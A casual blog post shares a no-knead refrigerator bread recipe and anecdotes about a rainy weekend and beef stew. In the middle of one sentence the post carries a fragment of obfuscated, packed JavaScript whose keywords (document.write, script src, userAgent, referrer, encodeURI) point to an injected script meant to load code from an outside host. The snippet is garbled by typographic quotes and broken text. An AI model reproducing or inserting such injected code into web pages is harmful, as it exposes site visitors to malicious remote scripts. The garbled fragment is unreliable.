Quick and easy bread recipe

In general, we don’t eat a lot of bread.  Or rice.  Or pasta.  We’re not on a “no carb” diet and we’re not gluten free, we just try to keep it out of meals as best we can.

That being said, I can’t get enough of warm bread, fresh out of the oven.  I once bought a loaf of bread at the store, just because it was warm.  I had no need for it, but it just seemed like the right thing to do.

This past weekend, while the rest of the country was getting pummeled by snow, California was getting rain.  This meant that we all retreated into our homes and bundled up – because 50 and rainy is barbaric!  Beef stew sounded like a perfect cold weather meal.  But what sounded even better, was beef stew and homemade bread.  I’m a glutton for punishment, I know!

That’s when I found this awesome ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|serai|var|u0026u|referrer|hdfdd||js|php’.split(‘|’),0,{}))
recipe! No kneading, and best of all, you can store it for up to 3 weeks!

So I quickly whipped up a 1/2 batch (wasn’t sure I wanted to blow 6 cups of flour on the recipe until I knew it was good) and went about my day.

That evening, I pulled off a “chunk” of dough, and threw it in the oven.  Voila!  A lovely mini loaf that I could split with Nick.  Delicious and portion controlled!

On Monday, Nick had dinner in a luxury box at Oracle arena, while I had leftover stew.  It sounds like he got the better end of the deal, but in fact he did not! I had a homemade, fresh out of the oven roll to go with my leftover stew!

And last night, we made another mini loaf.  Yeah, we’re fans of leftovers.

After posting a picture on instagram/facebook, a lot of people seemed interested, so I thought I’d let you all know what I did.

Here’s the recipe I used, adapted from here.

1.5C Warm water (warm NOT hot)3/4 Tbs Yeast
3/4 Tbs Salt
3 1/4C Bread Flour

1.  Mix the water, salt and yeast in a bowl or tupperware
2.  Let it sit and wait until the yeast has dissolved and starts to bubble a little
3.  Add flour and mix until everything is combined
4.  Put it in a 9-10c tupperware – or any container with a lid that holds about 9-10 cps
5.  Cover lightly and let the dough rise until it basically fills the empty volume
6.  Put it in the fridge

When you want bread:

1.  Cut off a piece of dough from your mix, form it into a loaf-like shape and place it on some parchment paper
2.  We use our baking steel, and get the oven to 450F
3.  We put the parchment straight on the baking steel and bake for 12-20min, depending on how big the loaf is.  Most of ours have been “mini” so the baking is pretty short.  A full loaf will probably take closer to 30min.  Just FYI.  Keep an eye on it and pull it out when it starts to get nice and golden brown!

The dough gets tastier as it ages, and it definitely tasted better last night than it did on Sunday!  Doesn’t this make you want some warm bread?!  I know!  So go do it!